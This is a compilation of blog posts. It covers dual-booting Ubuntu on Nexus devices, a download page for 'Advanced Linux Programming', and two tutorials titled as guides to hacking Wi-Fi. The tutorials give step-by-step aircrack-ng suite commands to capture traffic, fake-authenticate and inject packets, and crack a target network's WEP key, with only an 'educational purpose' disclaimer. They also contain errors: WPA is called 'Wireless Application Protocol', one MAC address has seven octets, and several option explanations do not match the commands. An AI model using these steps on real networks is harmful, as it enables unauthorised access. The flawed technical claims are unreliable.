How to Dual Boot Ubuntu on Your Android Device

Canonical has been developing Ubuntu for Devices for a while. Unfortunately, it hasn't exactly been easy to play around with it. However, if you've wanted to try it (and own a recent Nexus device), it's never been easier to dual boot.

Recently, Canonical announced an update to its Ubuntu Dual Boot app—which allows you to run Ubuntu and Android side by side—that makes it easier to update Ubuntu for Devices (the name for the phone and tablet version of Ubuntu) directly on your device itself. This means that not only can you try out Ubuntu without ruining your phone, but you can see all the sweet new changes as they happen without much fuss. Sounds like a win-win for tinkerers.

Disclaimers: Ubuntu for Devices is still in a Developer Preview right now. As such, it is probably not feature complete enough to be your daily driver. Hence why we're dual-booting. Naturally, you should expect some bumps in the road. Additionally, Ubuntu uses HTML5 for its apps, but many "apps" on the platform are actually just the regular mobile sites. Even some of the included ones (like Twitter). At the time of this writing, some "apps" prompt you to install an Android app when you first run them. Don't do this. Ubuntu is not built on Android and Android apps won't run on it. Attempting to install them—or even opening a link to the app—can break things.

What You'll Need

To get started installing Ubuntu Dual Boot (and subsequently Ubuntu itself), here's what you'll need:

• A Nexus 4, Nexus 7 (2013), or Nexus 10: These three are currently the only officially and actively supported Android devices. If you don't have one of these phones or tablets, you can check out the list of unofficially supported devices in the user-ported section here. Our guide, however, will focus on these three. They must also be running Android 4.4.2, so if you haven't updated yet, now's a good time.
• Root access: Before you install Ubuntu, you'll need to make sure your phone or tablet already has root. Fortunately, the three Nexuses we're looking at can all use the fastboot oem unlock method. If you're not rooted first, take care of that and come back.
• An Ubuntu installation (Not a Live CD): In order to install Ubuntu Dual Boot, you'll need desktop Ubuntu installed on your computer. Unfortunately, the Live CD version won't allow you to install the necessary components. However, if you have around 25GB of free on a spare drive, you can install it relatively painlessly.
• ADB: You're going to need ADB installed to set up dual boot (and to root your device, if you haven't yet). Fortunately, in most modern Linux distros, you can do so with a simple command. In Ubuntu, open up a terminal and enter the following:

                                                 sudo apt-get install android-tools-adb 

• Around 2.7GB of free space on your device: Ubuntu for Devices is going to need about 2.7GB of space for the OS and related files. If you're low on space, clear some out before you begin.

Once you've got everything set up, you're ready for the main event.

How to Install Ubuntu Dual Boot

Canonical has created a (relatively) simple script to install the requisite dual boot app on your Android device. Once you've covered all your bases in the last section, fire up Ubuntu and perform the following:

Enable USB Debugging

First, you'll need to enable USB debugging on your phone or tablet, if it's not already. Here's how to do so:

1. On your tablet, open the Settings app and select "About tablet."
2. Tap "Build number" seven times to enable developer mode.
3. Go back to the main Settings menu.
4. Tap the newly-accessible Developer options.
5. Enable USB debugging.

Once that's complete, connect your tablet to your computer with a micro USB cable.

Install the Ubuntu Dual Boot App

Next, download the Ubuntu Dual Boot installer script from here to your home directory. Then follow these instructions:

1. Open a Terminal window (Ctrl+Alt+T).
2. Run the following command to make the script executable: chmod +x dualboot.sh
3. Execute the script by running this command: ./dualboot.sh

Note: In my tests with a Nexus 7 on a clean Ubuntu install, the script got caught in a loop attempting to execute a curl command (as seen below). If this happens to you, close the Terminal window, open a new one, and run the following command to install the package: sudo apt-get install curl   This will install the necessary component. Once that's done, run the dual boot installation script again.

Download and Install Ubuntu for Devices

The script will run automatically and reset your device several times. Once it's done, your phone or tablet should boot back up to the Android home screen. From there, open the new Ubuntu Dual Boot app from your app drawer. Then:

1. Tap "Choose channel to install."
2. Select a download channel (Canonical recommends "utopic").
3. Tap "Grant" when asked for superuser access.
4. Once Ubuntu is finished downloading and installing, tap Reboot to Ubuntu.

Congratulations! You now have Ubuntu running on your phone or tablet. Now you just need to access it.

How to Switch Between Android and Ubuntu

Unlike many other dual boot solutions, you don't choose which operating system you want at startup. Instead, once you've booted into Android, open the Ubuntu Dual Boot app and tap "Reboot to Ubuntu". Your device will then restart into Ubuntu. No matter which OS you're in, however, a hard reset will always boot to Android. This is usually performed by holding down the power button for about ten seconds. There's also a Dual Boot app in Ubuntu for switching back to Android if you prefer.

You can also update Ubuntu from either the Ubuntu Dual Boot app in Android, or from the system settings in Ubuntu. However, both methods require you to be in Android to actually install the update, so it's probably best to just boot into Android first when it's time to update anyway.

Read more

Advanced Linux Programming

---

Download Advanced Linux Programming

Do not use a download accelerator to download these files.

To view and print the book, you will need a Portable Document Format (PDF) viewer application, such as

• Xpdf
• gv
• Adobe Acrobat Reader.

Some web browsers have problems with inline PDF files. Try saving the file to your local filesystem before opening with a stand alone PDF viewer. If you still have problems viewing the file, make sure you have downloaded the entire file and the md5 checksum matches.

Title	File	Filesize	md5 checksum
The Entire Advanced Linux Programming Book in One File	pdf	1273361	5e722dc5dfcde263ea06fa193e9f61b4
Front Matter and Table of Contents	pdf	1273361	fe0c601b919879e93d79d25a78818b5c
Chapter 01 - Advanced Unix Programming with Linux	pdf	235835	5923f2a5d7fb4f941fe905fbe45be196
Chapter 02 - Writing Good GNU/Linux Software	pdf	280326	44c823c1240c7f70a6dc9dbfddbe03fa
Chapter 03 - Processes	pdf	241758	87b5d98ba5b5933cf2ad1dbcf37641aa
Chapter 04 - Threads	pdf	292419	11f392b44c073498e9ec9b3f718e54e7
Chapter 05 - Interprocess Communication	pdf	289853	0de9b56476a0e6e536fbac68e09b02d2
Chapter 06 - Mastering Linux	pdf	268821	ab8940fbcc40018d72bd2016e662afba
Chapter 07 - The /proc File System	pdf	258582	b3fe701f67a37ad7ba7233bcdc3f5d90
Chapter 08 - Linux System Calls	pdf	261352	583182dc09bc8b3c3773ba6d0fc710f2
Chapter 09 - Inline Assembly Code	pdf	204992	c226e58fc7bf544df477d8ae96b680ed
Chapter 10 - Security	pdf	288441	fc340b97e9c7f3fc2f5fe4dd71132ffd
Chapter 11 - A Sample GNU/Linux Application	pdf	298215	50a205644e441ae26d2041567d131b82
Appendix A - Other Development Tools	pdf	272377	09a9a79a3c3abe6869df3f1ab5b39b14
Appendix B - Low Level I/O	pdf	252755	3eaa0f0bbd103e1cc7872663e227a14b
Appendix C - Table of Signals	pdf	177879	3b02a6abb38877580b743392b98c3290
Appendix D - Online Resources	pdf	148074	372964ff1eb4f85aca3985736a06cc48
Appendix E - Open Publication License Version 1.0	pdf	176596	5b1ddb8d38b6a44b357345ba6c25010e
Appendix F - The GNU General Public License	pdf	228793	e207c51489e6f3cfafba5b13bb5e3bd9
Index	pdf	1253094	004eefcfc2c6dca9a21233e748b81f35

---

Read more

HOW TO HACK WiFi NETWORK

Note : Only For Educational Purpose!!!
1) First we need to scan for available wireless networks.

Theres this great tool for windows to do this.. called “NetStumbler” or "Kismet"
for Windows and Linux and "KisMac" for Mac.

The two most common encryption types are:
1) WEP
2) WAP

WEP i.e Wire Equivalent Privacy is not considers as safe as WAP
i.e Wireless Application Protocol.

WEP have many flaws that allows a hacker to crack a WEP key easily..

whereas

WAP is currently the most secure and best option to secure a WiFi network..

It can’t be easily cracked as WEP because the only way to retrieve a WAP key
is to use a brute-force attack or dictionary attack.

Here I’ll tell you how to Crack WEP

To crack WEP we will be using Live Linux distribution called Backtrack to
crack WEP.

Backtrack have lots of pre-installed softwares for this very purpose..

The tools we will be using on Backtrack are:

Kismet – a wireless network detector
airodump – captures packets from a wireless router
aireplay – forges ARP requests
aircrack – de-crypts the WEP keys

1) First of all we have to find a wireless access point along with its bssid, essid
and channel number. To do this we will run kismet by opening up the terminal
and typing in kismet. It may ask you for the appropriate adapter which in my
case is ath0.You can see your device’s name by typing in the command
iwconfig.

2) To be able to do some of the later things, your wireless adapter must be put
into monitor mode. Kismet automatically does this and as long as you keep it
open, your wireless adapter will stay in monitor mode.

3) In kismet you will see the flags Y/N/0. Each one stands for a different type
of encryption. In our case we will be looking for access points with the WEP
encryption. Y=WEP N=OPEN 0=OTHER (usually WAP).

4) Once you find an access point, open a text document and paste in the
networks broadcast name (essid), its mac address (bssid) and its channel
number. To get the above information, use the arrow keys to select an access
point and hit <ENTER> to get more information about it.

5) The next step is to start collecting data from the access point with
airodump. Open up a new terminal and start airodump by typing in the
command:

airodump-ng -c [channel#] -w [filename] –bssid [bssid] [device]

In the above command airodump-ng starts the program, the channel of your
access point goes after -c , the file you wish to output the data goes after -w ,
and the MAC address of the access point goes after –bssid. The command ends
with the device name. Make sure to leave out the brackets.

6) Leave the above running and open another terminal. Next we will generate
some fake packets to the target access point so that the speed of the data
output will increase. Put in the following command:

aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:55:66 -e [essid] [device]

In the above command we are using the airplay-ng program. The -1 tells the
program the specific attack we wish to use which in this case is fake
authentication with the access point. The 0 cites the delay between attacks, -a
is the MAC address of the target access point, -h is your wireless adapters MAC
address, -e is the name (essid) of the target access point, and the command
ends with the your wireless adapters device name.

7) Now, we will force the target access point to send out a huge amount of
packets that we will be able to take advantage of by using them to attempt to
crack the WEP key. Once the following command is executed, check your
airodump-ng terminal and you should see the ARP packet count to start to
increase. The command is:

aireplay-ng -3 -b [bssid] -h 00:11:22:33:44:5:66 [device]

In this command, the -3 tells the program the specific type of attack which in
this case is packet injection, -b is the MAC address of the target access point, -h
is your wireless adapters MAC address, and the wireless adapter device name
goes at the end.

Once you have collected around 50k-500k packets, you may begin the
attempt to break the WEP key. The command to begin the cracking process is:

aircrack-ng -a 1 -b [bssid] -n 128 [filename].ivs

In this command the -a 1 forces the program into the WEP attack mode, the -b
is the targets MAC address, and the -n 128 tells the program the WEP key
length. If you don’t know the -n , then leave it out. This should crack the WEP
key within seconds. The more packets you capture, the bigger chance you
have of cracking the WEP key.

Read more

SIMPLE WI-FI WEP CRACK [TUTORIAL]

Overview

To crack the WEP key for an

access point, we need to 

gather lots of initialization


vectors (IVs). Normal network traffic does not typically 

generate these IVs very quickly. Theoretically, if you are 

patient, you can gather sufficient IVs to crack the WEP key 

by simply listening to the network traffic and saving them. 

Since none of us are patient, we use a technique called 

injection to speed up the process. Injection involves having 

the access point (AP) resend selected packets over and

over very rapidly. This allows us to capture a large number 

of IVs in a short period of time.

Equipments used

WiFi Adapter : Alfa AWUS036H (available on eBay & 

Amazon)

Software : Backtrack 5R3 (Free download 

from http://www.backtrack-linux.org)

Step 1 – Start the wireless interface in monitor mode on AP channel

airmon-ng start wlan1 6

starts wifi interface in channel 6

Step 2 – Test Wireless Device Packet Injection

aireplay-ng -6 -e infosec -a 00:1B:11:24:27:2E  wlan1

-9 means injection

-a 00:1B:11:24:27:2E is the access point MAC address

Step 3 – Start airodump-ng to capture the IVs

airodump-ng -c 6 –bssid 00:1B:11:24:27:2E -w output wlan1

Step 4 – Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source 

MAC address must already be associated. If the source 

MAC address you are injecting is not associated then the AP 

ignores the packet and sends out a “DeAuthentication” 

packet in cleartext. In this state, no new IVs are created 

because the AP is ignoring all the injected packets.

aireplay-ng -1 0 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

-1 means fake authentication

0 reassociation timing in seconds

-e infosec is the wireless network name

-a 00:14:6C:7E:40:80 is the access point MAC address

-h 00:0F:B5:88:AC:82 is our card MAC address

OR

aireplay-ng -1 2 -o 1 -q 10 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

2 – Reauthenticate every 2 seconds.

-o 1 – Send only one set of packets at a time. Default is multiple and this confuses some APs.

-q 10 – Send keep alive packets every 10 seconds.

Troubleshooting Tips

Some access points are configured to only allow selected 

MAC addresses to associate and connect. If this is the case, 

you will not be able to successfully do fake authentication 

unless you know one of the MAC addresses on the allowed 

list. If you suspect this is the problem, use the following 

command while trying to do fake authentication. Start 

another session and…

Run: tcpdump -n -vvv -s0 -e -i | grep -i -E ”(RA:|Authentication|ssoc)”

You would then look for error messages.

If at any time you wish to confirm you are properly 

associated is to use tcpdump and look at the packets. Start 

another session and…

Run: “tcpdump -n -e -s0 -vvv -i wlan1”

Here is a typical tcpdump error message you are looking for:

11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 

DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   

DeAuthentication: Class 3 frame received from 

nonassociated station.

Notice that the access point (00:14:6c:7e:40:80) is telling 

the source (00:0F:B5:88:AC:82) you are not associated. 

Meaning, the AP will not process or accept the injected 

packets.

If you want to select only the DeAuth packets with tcpdump 

then you can use: “tcpdump -n -e -s0 -vvv -i wlan1 | grep -i 

DeAuth”. You may need to tweak the phrase “DeAuth” to

pick out the exact packets you want.

Step 5 – Start aireplay-ng in ARP request replay mode

aireplay-ng -3 -b 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

Step 6 – Run aircrack-ng to obtain the WEP key

aircrack-ng -b 00:1B:11:24:27:2E output*.cap

All Done! 

Read more